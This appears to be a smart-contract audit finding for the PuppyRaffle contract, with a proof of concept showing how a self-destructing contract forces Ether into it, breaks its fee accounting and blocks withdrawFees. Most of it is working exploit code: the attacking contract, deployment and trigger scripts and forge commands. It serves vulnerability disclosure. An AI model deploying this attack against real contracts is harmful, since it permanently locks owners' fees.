In this scenario, if someone manages to send Ether into the contract through another means than enterRaffle, the feeAddress wouldn't be able to withdraw totalFees.
The provided scripts and test suite demonstrate the validity and severity of the vulnerability.
### How to Run the Scripts
Requirements
Install Foundry.
Clone the project codebase to your local workspace.
Copy the codes in the codebase below into their respective file and folder. Note the file names and path provided at the end of each code.
Create a .env file in your root folder and add the required variables.
The .env file should follow this format:
RPC_URL=
PRIVATE_KEY=
ETHERSCAN_API_KEY=
Step-by-step Guide to Run the PoC
Ensure the above requirements are met.
Run source .env to load .env variables into the terminal.
Change DeployPuppyRaffle.sol::duration from "1 day" to "5 minutes."
Change DeployPuppyRaffle.sol::entranceFee from "1e18" to "100 wei" and set it as the PuppyRaffle constructor's first parameter.
Run the necessary command to deploy the following contracts:
To deploy the PuppyRaffle contract:
forge script script/DeployPuppyRaffle.sol:DeployPuppyRaffle --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast -vv
To deploy the SuicideContract:
forge script script/DeploySuicideContract.s.sol:DeploySuicideContract --rpc-url $RPC_URL --private-key $PRIVATE_KEY --broadcast -vv
Wait for five minutes, then run the command below to execute the exploit script:
forge script script/TriggerSuicide.s.sol:TriggerSuicide --rpc-url $RPC_URL --broadcast -vvvvv
The preceding steps involve deploying the PuppyRaffle contract, deploying a SuicideContract designed to self-destruct and send its balance to PuppyRaffle, offsetting the internal accounting, and making the withdrawFees function inaccessible. Finally, a script is executed to initiate the attack.
Proof of Exploit:
Please note the logged data.
The raffle session is over, a winner is selected, but the owner (same as message sender) can't withdraw the totalFees from the contract, causing a crash.
Codebase
The code below consists of Foundry scripts that deploy the contract to a chosen network and interact with it through our exploit script.
SuicideContract
pragma solidity "0.8.19";
interface IPuppyRaffle {
function enterRaffle(address[] memory) external payable;
function refund(uint256) external;
function getActivePlayerIndex(address) external view returns (uint256);
function entranceFee() external view returns (uint256);
function totalFees() external view returns (uint256);
function previousWinner() external view returns (address);
function owner() external view returns (address);
function selectWinner() external;
function withdrawFees() external;
}
contract SuicideContract {
IPuppyRaffle puppyRaffle;
uint256 public entranceFee = 100 wei;
address public previousWinner;
address public owner;
uint256 public totalFees;
constructor(address _addr) payable {
puppyRaffle = IPuppyRaffle(_addr);
}
function enterRaffle() external payable {
address[] memory newPlayers = new address[](4);
newPlayers[0] = msg.sender;
newPlayers[1] = address(this);
newPlayers[2] = 0xcAcf4d840CB5D9a80e79b02e51186a966de757d9;
newPlayers[3] = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
puppyRaffle.enterRaffle{value: entranceFee * 4}(newPlayers);
}
function selectWinner() external {
puppyRaffle.selectWinner();
}
function getPreviousWinner() external returns (address) {
previousWinner = puppyRaffle.previousWinner();
return previousWinner;
}
function getOwner() external returns (address) {
owner = puppyRaffle.owner();
return owner;
}
function getTotalFees() external returns (uint256) {
totalFees = puppyRaffle.totalFees();
return totalFees;
}
function attack() external {
selfdestruct(payable(address(puppyRaffle)));
}
receive() external payable {}
}
name: SuicideContract.s.sol
SuicideContract Deployment Script
pragma solidity ^0.8.19;
import {Script, console} from "forge-std/Script.sol";
import {SuicideContract} from "../src/SuicideContract.sol";
contract DeploySuicideContract is Script {
function run() external returns (SuicideContract) {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address puppyAddr = 0xc2faAa7c42740c1eA9E4090835ee46aC8993B6Fb;
vm.startBroadcast(deployerPrivateKey);
SuicideContract attack = new SuicideContract{value: 2000}(puppyAddr);
vm.stopBroadcast();
return (attack);
}
}
Trigger Script
pragma solidity 0.8.19;
import {Script, console} from "forge-std/Script.sol";
interface ISuicideContract {
function attack() external payable;
function entranceFee() external returns (uint256);
function getTotalFees() external returns (uint256);
function enterRaffle() external payable;
function getPreviousWinner() external returns (address);
function getOwner() external returns (address);
function selectWinner() external;
}
interface IPuppyRaffle {
function withdrawFees() external;
}
contract TriggerSuicide is Script {
ISuicideContract public attack;
IPuppyRaffle public puppyRaffle;
uint256 puppyInitialBalance;
uint256 puppyBalanceAfterWinnerSelection;
uint256 puppyBalanceAfterAttack;
uint256 expectNormalBalance;
uint256 entranceFee;
uint256 initialTotalFees;
uint256 totalFeesAfterWinnerSelection;
uint256 totalFeesAfterAttack;
address previousWinner;
address owner;
address attackAddr = 0x51207e2718Fd3c18b61D107326E53339B024EC5b;
address puppyRaffleAddr = 0xc2faAa7c42740c1eA9E4090835ee46aC8993B6Fb;
function run() external {
uint256 privateKey = vm.envUint("PRIVATE_KEY");
address messageSender = vm.addr(privateKey);
vm.startBroadcast(privateKey);
attack = ISuicideContract(attackAddr);
entranceFee = attack.entranceFee();
puppyRaffle = IPuppyRaffle(puppyRaffleAddr);
owner = attack.getOwner();
attack.enterRaffle{value: 1_000_000_000 wei}();
puppyInitialBalance = address(puppyRaffle).balance;
initialTotalFees = attack.getTotalFees();
attack.selectWinner();
previousWinner = attack.getPreviousWinner();
puppyBalanceAfterWinnerSelection = address(puppyRaffle).balance;
totalFeesAfterWinnerSelection = attack.getTotalFees();
attack.attack();
puppyBalanceAfterAttack = address(puppyRaffle).balance;
totalFeesAfterAttack = attack.getTotalFees();
vm.stopBroadcast();
console.log("entrance fee: ", entranceFee);
console.log("puppy balance before winner selection: ", puppyInitialBalance);
console.log("total fees before winner selection: ", initialTotalFees);
console.log("recent winner: ", previousWinner);
console.log("puppy balance after winner selection: ", puppyBalanceAfterWinnerSelection);
console.log("total fees after winner selection: ", totalFeesAfterWinnerSelection);
console.log("puppy balance after attack: ", puppyBalanceAfterAttack);
console.log("total fees after attack: ", totalFeesAfterAttack);
console.log("owner: ", owner);
console.log("message sender: ", messageSender);
vm.startBroadcast(privateKey);
puppyRaffle.withdrawFees();
vm.stopBroadcast();
}
}
Permanent loss of funds accrue to PuppyRaffle from raffle sessions.